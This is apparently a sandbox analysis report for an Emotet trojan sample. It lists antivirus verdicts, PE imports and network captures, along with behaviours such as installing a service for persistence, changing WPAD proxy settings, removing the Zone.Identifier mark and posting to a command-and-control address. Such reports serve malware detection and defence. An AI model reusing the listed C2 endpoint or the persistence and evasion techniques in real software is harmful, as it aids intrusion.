11.4
0-day
59 个模型检测该样本为恶意！
重新分析
更多

ff63368c331815393e5743a7ddc828adcba51a3dbfca0b51e81c66bc615d3d5c

99741f11d5f67e1305b317cb51ae315f.exe

分析耗时

143s

最近分析

文件大小

432.1KB
静态报毒 动态报毒 100% 34O7JM AI SCORE=88 AIDETECTVM CJSA CONFIDENCE CQPMYSCL1PG DERJ ELDORADO EMOTET GENCIRC GENERICKD GENETIC HCEJ HFRM HIGH CONFIDENCE HRYMJR KCLOUD KRYPTIK MALWARE2 MALWARE@#2RBC5DCZXFKMO R + TROJ SCORE THHBDBO TRTT UNSAFE 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
McAfee Emotet-FRV!99741F11D5F6 20201203 6.0.6.653
Alibaba Trojan:Win32/Emotet.b1bc20dd 20190527 0.3.0.5
Avast Win32:Kryptik-PTA [Trj] 20201203 20.10.5736.0
Baidu 20190318 1.0.0.2
Kingsoft Win32.Troj.Generic_a.a.(kcloud) 20201203 2017.9.26.565
Tencent Malware.Win32.Gencirc.10cdee42 20201203 1.0.0.1
CrowdStrike win/malicious_confidence_100% (W) 20190702 1.0
静态指标
Queries for the computername (1 个事件)
Time & API Arguments Status Return Repeated
1620823845.133499
GetComputerNameA
computer_name: OSKAR-PC
success 1 0
Uses Windows APIs to generate a cryptographic key (6 个事件)
Time & API Arguments Status Return Repeated
1620823833.133499
CryptGenKey
crypto_handle: 0x0096c578
algorithm_identifier: 0x0000660e ()
provider_handle: 0x0096b778
flags: 1
key: f. —È´|þŠ·Ë¹‹•ðÃm
success 1 0
1620823845.133499
CryptExportKey
crypto_handle: 0x0096c578
crypto_export_handle: 0x0096b840
buffer: f¤²ú¿Z­‘åÔÔ.z6օºîF&Élx%V2˜b82f*÷„•U4J3'÷Ãb ÙÙûF)Z´âU ú½Ù©Õ‡êÖà妊Ö’z1c±¬ öJ4Ñð¦,} q
blob_type: 1
flags: 64
success 1 0
1620823873.648499
CryptExportKey
crypto_handle: 0x0096c578
crypto_export_handle: 0x0096b840
buffer: f¤$SÔu3ú™Á6¸†ÃûB‚w¶;Âm¥‹ƒž©3‘…ü„ÎÈÃGð`®Šñ"3fTq§þ·C”,ví† Â¹à¦¾Ûùú†çʱ˜¥Ê†ÏˆM¬e -†%[tˆ×
blob_type: 1
flags: 64
success 1 0
1620823877.773499
CryptExportKey
crypto_handle: 0x0096c578
crypto_export_handle: 0x0096b840
buffer: f¤ˆTß~â€@Ҕ ë V°{hšÚäžYŽ«Y3ÌÌðjÒ{¾™]ƒòèèŒÓ m^Jù]ϝ˜¹Øó{újދa«XšMrŠ“lW¬ZóœÛD½9—°UK0/
blob_type: 1
flags: 64
success 1 0
1620823902.445499
CryptExportKey
crypto_handle: 0x0096c578
crypto_export_handle: 0x0096b840
buffer: f¤š¼>¶Rrø®ßzEn‘†^á>îŠB¤ÏjÝCØ1L¸bH‚mÃ÷kŸŠ2¦šã`×±þÊu8Çv²±‚­[ù~mÊ£lÚ×m+^›Ë® FîøXL@üú¯ À-‚?ˆ±
blob_type: 1
flags: 64
success 1 0
1620823925.805499
CryptExportKey
crypto_handle: 0x0096c578
crypto_export_handle: 0x0096b840
buffer: f¤Æ­¢„Ę<A¬Œ]î¸èÄð±ÀO¼t·ŸŠá‰Hfâ€zE1ÑP’ÚBÿ=1¸Ð.W‘ña˜kÂ*|í?z¡%\?ŽJíä9¨Èiº¦ñ‡M«ù¤FãÅY-që.g߶
blob_type: 1
flags: 64
success 1 0
The executable uses a known packer (1 个事件)
packer Armadillo v1.71
行为判定
动态指标
HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 个事件)
suspicious_features Connection to IP address suspicious_request POST http://104.131.41.185:8080/kw9ZW/NWrHKNKFVKFu8Jn/TqxEGeK/joJu05c2tZ4fIHJY1KU/
suspicious_features POST method with no referer header suspicious_request POST https://update.googleapis.com/service/update2?cup2key=10:3615294334&cup2hreq=6dc8afdfb86fd362dad948e8501002bf3d37b2cf2b653e54b26625d47e44361f
Performs some HTTP requests (6 个事件)
request HEAD http://redirector.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe
request HEAD http://r1---sn-j5o7dn7e.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?cms_redirect=yes&mh=ms&mip=202.100.214.100&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=1&pl=23&shardbypass=yes
request HEAD http://r3---sn-j5o7dn7e.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5ok7e&req_id=3e31892cd982d27e&cms_redirect=yes&ipbypass=yes&mip=59.50.85.19&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=3
request GET http://r3---sn-j5o7dn7e.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5ok7e&req_id=3e31892cd982d27e&cms_redirect=yes&ipbypass=yes&mip=59.50.85.19&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=3
request POST http://104.131.41.185:8080/kw9ZW/NWrHKNKFVKFu8Jn/TqxEGeK/joJu05c2tZ4fIHJY1KU/
request POST https://update.googleapis.com/service/update2?cup2key=10:3615294334&cup2hreq=6dc8afdfb86fd362dad948e8501002bf3d37b2cf2b653e54b26625d47e44361f
Sends data using the HTTP POST Method (2 个事件)
request POST http://104.131.41.185:8080/kw9ZW/NWrHKNKFVKFu8Jn/TqxEGeK/joJu05c2tZ4fIHJY1KU/
request POST https://update.googleapis.com/service/update2?cup2key=10:3615294334&cup2hreq=6dc8afdfb86fd362dad948e8501002bf3d37b2cf2b653e54b26625d47e44361f
Allocates read-write-execute memory (usually to unpack itself) (3 个事件)
Time & API Arguments Status Return Repeated
1620823826.195876
NtAllocateVirtualMemory
process_identifier: 1880
region_size: 36864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x00390000
success 0 0
1620823887.462124
NtAllocateVirtualMemory
process_identifier: 1424
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffffffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0000000004070000
success 0 0
1620823832.836499
NtAllocateVirtualMemory
process_identifier: 1272
region_size: 36864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x00850000
success 0 0
Checks whether any human activity is being performed by constantly checking whether the foreground window changed
Drops a binary and executes it (1 个事件)
file C:\Windows\SysWOW64\ole32\tpmcompc.exe
Moves the original executable to a new location (1 个事件)
Time & API Arguments Status Return Repeated
1620823827.055876
MoveFileWithProgressW
oldfilepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\99741f11d5f67e1305b317cb51ae315f.exe
newfilepath: C:\Windows\SysWOW64\ole32\tpmcompc.exe
newfilepath_r: C:\Windows\SysWOW64\ole32\tpmcompc.exe
flags: 3
oldfilepath_r: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\99741f11d5f67e1305b317cb51ae315f.exe
success 1 0
Checks adapter addresses which can be used to detect virtual network interfaces (1 个事件)
Time & API Arguments Status Return Repeated
1620823846.726499
GetAdaptersAddresses
flags: 0
family: 0
failed 111 0
The binary likely contains encrypted or compressed data indicative of a packer (2 个事件)
entropy 7.427959110276362 section {'size_of_data': '0x00033000', 'virtual_address': '0x0003d000', 'entropy': 7.427959110276362, 'name': '.rsrc', 'virtual_size': '0x00032230'} description A section with a high entropy has been found
entropy 0.4766355140186916 description Overall entropy of this PE file is high
Expresses interest in specific running processes (1 个事件)
process tpmcompc.exe
Reads the systems User Agent and subsequently performs requests (1 个事件)
Time & API Arguments Status Return Repeated
1620823845.367499
InternetOpenW
proxy_bypass:
access_type: 0
proxy_name:
flags: 0
user_agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
success 13369348 0
网络通信
Communicates with host for which no DNS query was performed (6 个事件)
host 104.131.41.185
host 172.217.24.14
host 181.30.61.163
host 188.135.15.49
host 209.126.6.222
host 5.153.250.14
Installs itself for autorun at Windows startup (1 个事件)
service_name tpmcompc service_path C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\"C:\Windows\SysWOW64\ole32\tpmcompc.exe"
Created a service where a service was also not started (1 个事件)
Time & API Arguments Status Return Repeated
1620823831.992876
CreateServiceW
service_start_name:
start_type: 2
service_handle: 0x03526b98
display_name: tpmcompc
error_control: 0
service_name: tpmcompc
filepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\"C:\Windows\SysWOW64\ole32\tpmcompc.exe"
filepath_r: "C:\Windows\SysWOW64\ole32\tpmcompc.exe"
service_manager_handle: 0x03529ad8
desired_access: 2
service_type: 16
password:
success 55733144 0
Deletes executed files from disk (1 个事件)
file C:\Windows\SysWOW64\ole32\tpmcompc.exe
Sets or modifies WPAD proxy autoconfiguration file for traffic interception (8 个事件)
Time & API Arguments Status Return Repeated
1620823849.289499
RegSetValueExA
key_handle: 0x000003c0
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason
success 0 0
1620823849.289499
RegSetValueExA
key_handle: 0x000003c0
value: k*,íF×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime
success 0 0
1620823849.289499
RegSetValueExA
key_handle: 0x000003c0
value: 3
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision
success 0 0
1620823849.289499
RegSetValueExW
key_handle: 0x000003c0
value: 网络 2
regkey_r: WpadNetworkName
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName
success 0 0
1620823849.289499
RegSetValueExA
key_handle: 0x000003d8
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason
success 0 0
1620823849.289499
RegSetValueExA
key_handle: 0x000003d8
value: k*,íF×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime
success 0 0
1620823849.289499
RegSetValueExA
key_handle: 0x000003d8
value: 3
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision
success 0 0
1620823849.320499
RegSetValueExW
key_handle: 0x000003bc
value: {40112ABE-63B3-43C3-BE93-1440EE3AF106}
regkey_r: WpadLastNetwork
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadLastNetwork
success 0 0
Attempts to remove evidence of file being downloaded from the Internet (1 个事件)
file C:\Windows\SysWOW64\ole32\tpmcompc.exe:Zone.Identifier
File has been identified by 59 AntiVirus engines on VirusTotal as malicious (50 out of 59 个事件)
Bkav W32.AIDetectVM.malware2
Elastic malicious (high confidence)
DrWeb Trojan.Emotet.1003
MicroWorld-eScan Trojan.GenericKD.43787130
FireEye Trojan.GenericKD.43787130
CAT-QuickHeal Backdoor.Emotet
McAfee Emotet-FRV!99741F11D5F6
Cylance Unsafe
VIPRE Trojan.Win32.Generic!BT
Sangfor Malware
K7AntiVirus Trojan ( 005600f21 )
Alibaba Trojan:Win32/Emotet.b1bc20dd
K7GW Trojan ( 005600f21 )
Arcabit Trojan.Generic.D29C237A
Cyren W32/Emotet.AQS.gen!Eldorado
Symantec Trojan.Emotet
APEX Malicious
Avast Win32:Kryptik-PTA [Trj]
ClamAV Win.Packed.Emotet-9482731-0
Kaspersky Backdoor.Win32.Emotet.cjsa
BitDefender Trojan.GenericKD.43787130
NANO-Antivirus Trojan.Win32.Emotet.hrymjr
Paloalto generic.ml
ViRobot Trojan.Win32.Emotet.442368.D
Rising Trojan.Kryptik!8.8 (TFE:5:cqpMYSCL1pG)
Ad-Aware Trojan.GenericKD.43787130
Emsisoft Trojan.Emotet (A)
Comodo Malware@#2rbc5dczxfkmo
F-Secure Trojan.TR/AD.Emotet.bfm
Zillya Backdoor.Emotet.Win32.1126
TrendMicro TrojanSpy.Win32.EMOTET.THHBDBO
McAfee-GW-Edition BehavesLike.Win32.Emotet.gc
Sophos Mal/Generic-R + Troj/Emotet-CLQ
Ikarus Trojan-Banker.Emotet
Jiangmin Backdoor.Emotet.sh
Avira TR/AD.Emotet.bfm
MAX malware (ai score=88)
Antiy-AVL Trojan[Backdoor]/Win32.Emotet
Kingsoft Win32.Troj.Generic_a.a.(kcloud)
Gridinsoft Trojan.Win32.Emotet.oa
Microsoft Trojan:Win32/Emotet.ARJ!MTB
AegisLab Trojan.Win32.Emotet.trtt
ZoneAlarm Backdoor.Win32.Emotet.cjsa
GData Trojan.GenericKD.43787130
Cynet Malicious (score: 100)
AhnLab-V3 Trojan/Win32.Emotet.C4185422
ALYac Trojan.GenericKD.43787130
TACHYON Banker/W32.Emotet.442463
VBA32 Backdoor.Emotet
Malwarebytes Trojan.Emotet
Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (7 个事件)
dead_host 172.217.160.110:443
dead_host 188.135.15.49:80
dead_host 172.217.24.14:443
dead_host 209.126.6.222:8080
dead_host 5.153.250.14:8080
dead_host 181.30.61.163:443
dead_host 192.168.56.101:49186
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2020-08-21 19:29:20

Imports

Library KERNEL32.dll:
• 0x42c178 GetStartupInfoA
• 0x42c17c GetCommandLineA
• 0x42c180 TerminateProcess
• 0x42c184 HeapFree
• 0x42c188 CreateThread
• 0x42c18c ExitThread
• 0x42c190 RaiseException
• 0x42c194 HeapReAlloc
• 0x42c198 HeapSize
• 0x42c19c GetACP
• 0x42c1a4 GetSystemTime
• 0x42c1a8 GetLocalTime
• 0x42c1ac LCMapStringA
• 0x42c1b0 LCMapStringW
• 0x42c1b4 FatalAppExitA
• 0x42c1b8 Sleep
• 0x42c1bc HeapDestroy
• 0x42c1c0 HeapCreate
• 0x42c1c4 VirtualFree
• 0x42c1c8 VirtualAlloc
• 0x42c1cc IsBadWritePtr
• 0x42c1dc HeapAlloc
• 0x42c1e4 SetHandleCount
• 0x42c1e8 GetStdHandle
• 0x42c1ec GetFileType
• 0x42c1f4 GetStringTypeA
• 0x42c1f8 GetStringTypeW
• 0x42c1fc IsBadReadPtr
• 0x42c200 IsBadCodePtr
• 0x42c204 IsValidLocale
• 0x42c208 IsValidCodePage
• 0x42c20c GetLocaleInfoA
• 0x42c210 EnumSystemLocalesA
• 0x42c214 GetUserDefaultLCID
• 0x42c218 GetVersionExA
• 0x42c220 SetStdHandle
• 0x42c224 GetLocaleInfoW
• 0x42c228 CompareStringA
• 0x42c22c CompareStringW
• 0x42c234 RtlUnwind
• 0x42c238 GetProfileStringA
• 0x42c23c InterlockedExchange
• 0x42c248 SetFileAttributesA
• 0x42c24c SetFileTime
• 0x42c258 GetFileTime
• 0x42c25c GetFileSize
• 0x42c260 GetFileAttributesA
• 0x42c264 GetShortPathNameA
• 0x42c268 GetThreadLocale
• 0x42c26c GetStringTypeExA
• 0x42c270 GetFullPathNameA
• 0x42c278 FindFirstFileA
• 0x42c27c FindClose
• 0x42c280 DeleteFileA
• 0x42c284 MoveFileA
• 0x42c288 SetEndOfFile
• 0x42c28c UnlockFile
• 0x42c290 LockFile
• 0x42c294 FlushFileBuffers
• 0x42c298 SetFilePointer
• 0x42c29c WriteFile
• 0x42c2a0 ReadFile
• 0x42c2a4 CreateFileA
• 0x42c2a8 GetCurrentProcess
• 0x42c2ac DuplicateHandle
• 0x42c2b0 SetErrorMode
• 0x42c2b4 FormatMessageA
• 0x42c2b8 GetOEMCP
• 0x42c2bc GetCPInfo
• 0x42c2c0 SizeofResource
• 0x42c2c4 GetProcessVersion
• 0x42c2c8 GetLastError
• 0x42c2dc GlobalFlags
• 0x42c2e0 TlsGetValue
• 0x42c2e4 LocalReAlloc
• 0x42c2e8 TlsSetValue
• 0x42c2f0 GlobalReAlloc
• 0x42c2f8 TlsFree
• 0x42c2fc GlobalHandle
• 0x42c304 TlsAlloc
• 0x42c30c LocalFree
• 0x42c310 LocalAlloc
• 0x42c314 lstrcpynA
• 0x42c318 MulDiv
• 0x42c31c ExitProcess
• 0x42c320 SetLastError
• 0x42c324 MultiByteToWideChar
• 0x42c328 WideCharToMultiByte
• 0x42c32c lstrlenA
• 0x42c338 LoadLibraryA
• 0x42c33c FreeLibrary
• 0x42c340 GetVersion
• 0x42c344 lstrcatA
• 0x42c348 GlobalGetAtomNameA
• 0x42c34c GlobalAddAtomA
• 0x42c350 GlobalFindAtomA
• 0x42c354 lstrcpyA
• 0x42c358 GetModuleHandleA
• 0x42c35c GetProcAddress
• 0x42c360 GlobalUnlock
• 0x42c364 GlobalFree
• 0x42c368 LockResource
• 0x42c36c FindResourceA
• 0x42c370 LoadResource
• 0x42c374 CreateEventA
• 0x42c378 SuspendThread
• 0x42c37c SetThreadPriority
• 0x42c380 ResumeThread
• 0x42c384 SetEvent
• 0x42c388 WaitForSingleObject
• 0x42c38c CloseHandle
• 0x42c390 GetModuleFileNameA
• 0x42c394 GlobalLock
• 0x42c398 GlobalAlloc
• 0x42c39c GlobalDeleteAtom
• 0x42c3a0 lstrcmpA
• 0x42c3a4 lstrcmpiA
• 0x42c3a8 GetCurrentThread
• 0x42c3ac GetCurrentThreadId
Library USER32.dll:
• 0x42c3c4 ScrollWindow
• 0x42c3c8 EndDeferWindowPos
• 0x42c3cc CopyRect
• 0x42c3d0 BeginDeferWindowPos
• 0x42c3d4 DeferWindowPos
• 0x42c3d8 ScreenToClient
• 0x42c3dc AdjustWindowRectEx
• 0x42c3e0 SetFocus
• 0x42c3e4 MapWindowPoints
• 0x42c3e8 SendDlgItemMessageA
• 0x42c3ec CheckDlgButton
• 0x42c3f0 CheckRadioButton
• 0x42c3f4 GetDlgItemInt
• 0x42c3f8 GetDlgItemTextA
• 0x42c3fc SetDlgItemInt
• 0x42c400 SetDlgItemTextA
• 0x42c404 IsDlgButtonChecked
• 0x42c408 ScrollWindowEx
• 0x42c40c IsDialogMessageA
• 0x42c410 SetWindowTextA
• 0x42c414 MoveWindow
• 0x42c418 wvsprintfA
• 0x42c41c CharToOemA
• 0x42c420 OemToCharA
• 0x42c424 LoadStringA
• 0x42c428 DestroyMenu
• 0x42c42c ClientToScreen
• 0x42c430 GetWindowDC
• 0x42c434 BeginPaint
• 0x42c438 EndPaint
• 0x42c43c TabbedTextOutA
• 0x42c440 DrawTextA
• 0x42c444 GrayStringA
• 0x42c448 InflateRect
• 0x42c44c GetClassNameA
• 0x42c450 GetDesktopWindow
• 0x42c454 InsertMenuA
• 0x42c458 DeleteMenu
• 0x42c45c GetMenuStringA
• 0x42c460 LoadCursorA
• 0x42c464 GetSysColorBrush
• 0x42c468 GetDialogBaseUnits
• 0x42c46c CharUpperA
• 0x42c470 GetScrollRange
• 0x42c474 SetScrollRange
• 0x42c478 GetScrollPos
• 0x42c47c SetScrollPos
• 0x42c480 GetTopWindow
• 0x42c484 IsChild
• 0x42c488 GetCapture
• 0x42c48c WinHelpA
• 0x42c490 wsprintfA
• 0x42c494 GetClassInfoA
• 0x42c498 RegisterClassA
• 0x42c49c GetMenu
• 0x42c4a0 GetMenuItemCount
• 0x42c4a4 GetMenuItemID
• 0x42c4a8 TrackPopupMenu
• 0x42c4ac SetWindowPlacement
• 0x42c4b4 GetWindowTextA
• 0x42c4b8 GetDlgCtrlID
• 0x42c4bc DefWindowProcA
• 0x42c4c0 CreateWindowExA
• 0x42c4c4 GetClassLongA
• 0x42c4c8 SetPropA
• 0x42c4cc UnhookWindowsHookEx
• 0x42c4d0 GetPropA
• 0x42c4d4 CallWindowProcA
• 0x42c4d8 GetScrollInfo
• 0x42c4dc GetMessageTime
• 0x42c4e0 GetMessagePos
• 0x42c4e4 GetForegroundWindow
• 0x42c4e8 SetForegroundWindow
• 0x42c4ec GetWindow
• 0x42c4f0 SetWindowLongA
• 0x42c4f4 SetWindowPos
• 0x42c4fc OffsetRect
• 0x42c500 IntersectRect
• 0x42c504 GetWindowPlacement
• 0x42c508 GetWindowRect
• 0x42c50c EndDialog
• 0x42c510 SetActiveWindow
• 0x42c514 IsWindow
• 0x42c51c DestroyWindow
• 0x42c520 GetDlgItem
• 0x42c528 GetMenuState
• 0x42c52c ModifyMenuA
• 0x42c530 SetMenuItemBitmaps
• 0x42c534 CheckMenuItem
• 0x42c538 EnableMenuItem
• 0x42c53c GetFocus
• 0x42c540 GetNextDlgTabItem
• 0x42c544 GetMessageA
• 0x42c548 TranslateMessage
• 0x42c54c DispatchMessageA
• 0x42c550 GetActiveWindow
• 0x42c554 GetKeyState
• 0x42c558 CallNextHookEx
• 0x42c55c ValidateRect
• 0x42c560 IsWindowVisible
• 0x42c564 PeekMessageA
• 0x42c568 GetCursorPos
• 0x42c56c SetWindowsHookExA
• 0x42c570 GetParent
• 0x42c574 GetLastActivePopup
• 0x42c578 IsWindowEnabled
• 0x42c57c GetWindowLongA
• 0x42c580 MessageBoxA
• 0x42c584 SetCursor
• 0x42c588 ShowOwnedPopups
• 0x42c58c PostMessageA
• 0x42c590 PostQuitMessage
• 0x42c594 LoadBitmapA
• 0x42c598 InvalidateRect
• 0x42c59c UpdateWindow
• 0x42c5a0 GetSysColor
• 0x42c5a4 EqualRect
• 0x42c5a8 IsRectEmpty
• 0x42c5ac GetDC
• 0x42c5b0 ReleaseDC
• 0x42c5b4 LoadIconA
• 0x42c5b8 UnregisterClassA
• 0x42c5bc HideCaret
• 0x42c5c0 ShowCaret
• 0x42c5c4 ExcludeUpdateRgn
• 0x42c5c8 DrawFocusRect
• 0x42c5cc DefDlgProcA
• 0x42c5d0 CharNextA
• 0x42c5d4 LoadImageA
• 0x42c5d8 EnableWindow
• 0x42c5dc LoadMenuA
• 0x42c5e0 PtInRect
• 0x42c5e4 GetSubMenu
• 0x42c5e8 IsIconic
• 0x42c5ec GetSystemMetrics
• 0x42c5f0 GetClientRect
• 0x42c5f4 DrawIcon
• 0x42c5f8 SetScrollInfo
• 0x42c5fc RemovePropA
• 0x42c600 ShowScrollBar
• 0x42c604 GetSystemMenu
• 0x42c608 AppendMenuA
• 0x42c60c SendMessageA
• 0x42c610 ShowWindow
• 0x42c614 IsWindowUnicode
Library GDI32.dll:
• 0x42c02c DeleteDC
• 0x42c030 StartDocA
• 0x42c034 SaveDC
• 0x42c038 RestoreDC
• 0x42c03c SelectObject
• 0x42c040 GetStockObject
• 0x42c044 SelectPalette
• 0x42c048 SetBkMode
• 0x42c04c SetPolyFillMode
• 0x42c050 SetROP2
• 0x42c054 SetStretchBltMode
• 0x42c058 SetMapMode
• 0x42c05c SetViewportOrgEx
• 0x42c060 OffsetViewportOrgEx
• 0x42c064 SetViewportExtEx
• 0x42c068 ScaleViewportExtEx
• 0x42c06c SetWindowOrgEx
• 0x42c070 OffsetWindowOrgEx
• 0x42c074 SetWindowExtEx
• 0x42c078 ScaleWindowExtEx
• 0x42c07c SelectClipRgn
• 0x42c080 ExcludeClipRect
• 0x42c084 IntersectClipRect
• 0x42c088 OffsetClipRgn
• 0x42c08c MoveToEx
• 0x42c090 LineTo
• 0x42c094 SetTextAlign
• 0x42c0a0 SetMapperFlags
• 0x42c0a8 ArcTo
• 0x42c0ac SetArcDirection
• 0x42c0b0 PolyDraw
• 0x42c0b4 SetBkColor
• 0x42c0b8 SetColorAdjustment
• 0x42c0bc PolyBezierTo
• 0x42c0c0 DeleteObject
• 0x42c0c4 GetClipRgn
• 0x42c0c8 CreateRectRgn
• 0x42c0cc SelectClipPath
• 0x42c0d0 ExtSelectClipRgn
• 0x42c0d4 PlayMetaFileRecord
• 0x42c0d8 GetObjectType
• 0x42c0dc EnumMetaFile
• 0x42c0e0 PlayMetaFile
• 0x42c0e4 GetDeviceCaps
• 0x42c0e8 GetViewportExtEx
• 0x42c0ec GetWindowExtEx
• 0x42c0f0 CreatePen
• 0x42c0f4 ExtCreatePen
• 0x42c0f8 CreateSolidBrush
• 0x42c0fc CreateHatchBrush
• 0x42c100 CreatePatternBrush
• 0x42c108 PtVisible
• 0x42c10c RectVisible
• 0x42c110 TextOutA
• 0x42c114 ExtTextOutA
• 0x42c118 Escape
• 0x42c11c GetMapMode
• 0x42c120 PatBlt
• 0x42c124 SetRectRgn
• 0x42c128 CombineRgn
• 0x42c130 CreateFontIndirectA
• 0x42c134 DPtoLP
• 0x42c13c GetTextMetricsA
• 0x42c140 SetTextColor
• 0x42c144 GetClipBox
• 0x42c148 GetDCOrgEx
• 0x42c14c CreateBitmap
• 0x42c150 StretchBlt
• 0x42c154 CreateCompatibleDC
• 0x42c158 BitBlt
• 0x42c15c GetObjectA
• 0x42c164 PolylineTo
• 0x42c168 CreateDIBitmap
• 0x42c16c GetTextExtentPointA
• 0x42c170 SetBitmapBits
Library comdlg32.dll:
• 0x42c630 GetOpenFileNameA
• 0x42c634 GetSaveFileNameA
• 0x42c638 GetFileTitleA
Library WINSPOOL.DRV:
• 0x42c620 OpenPrinterA
• 0x42c624 DocumentPropertiesA
• 0x42c628 ClosePrinter
Library ADVAPI32.dll:
• 0x42c000 RegSetValueExA
• 0x42c004 RegOpenKeyA
• 0x42c008 RegDeleteKeyA
• 0x42c00c RegDeleteValueA
• 0x42c010 RegCloseKey
• 0x42c014 RegQueryValueExA
• 0x42c018 RegOpenKeyExA
• 0x42c01c RegCreateKeyExA
Library SHELL32.dll:
• 0x42c3b8 DragAcceptFiles
• 0x42c3bc SHGetFileInfoA
Library COMCTL32.dll:
• 0x42c024

Hosts

No hosts contacted.

TCP

Source Source Port Destination Destination Port
192.168.56.101 49197 104.131.41.185 8080
192.168.56.101 49192 113.108.239.194 r1---sn-j5o7dn7e.gvt1.com 80
192.168.56.101 49193 113.108.239.196 r3---sn-j5o7dn7e.gvt1.com 80
192.168.56.101 49191 203.208.41.65 redirector.gvt1.com 80
192.168.56.101 49190 203.208.41.98 update.googleapis.com 443

UDP

Source Source Port Destination Destination Port
192.168.56.101 49235 114.114.114.114 53
192.168.56.101 53500 114.114.114.114 53
192.168.56.101 53657 114.114.114.114 53
192.168.56.101 55368 114.114.114.114 53
192.168.56.101 56743 114.114.114.114 53
192.168.56.101 58070 114.114.114.114 53
192.168.56.101 60088 114.114.114.114 53
192.168.56.101 60215 114.114.114.114 53
192.168.56.101 60221 114.114.114.114 53
192.168.56.101 63429 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 123 20.189.79.72 time.windows.com 123
192.168.56.101 50002 224.0.0.252 5355
192.168.56.101 50534 224.0.0.252 5355
192.168.56.101 51808 224.0.0.252 5355
192.168.56.101 51963 224.0.0.252 5355
192.168.56.101 53380 224.0.0.252 5355
192.168.56.101 54991 224.0.0.252 5355
192.168.56.101 55169 224.0.0.252 5355

HTTP & HTTPS Requests

URI Data
http://r1---sn-j5o7dn7e.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?cms_redirect=yes&mh=ms&mip=202.100.214.100&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=1&pl=23&shardbypass=yes 
HEAD /edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?cms_redirect=yes&mh=ms&mip=202.100.214.100&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=1&pl=23&shardbypass=yes HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.5
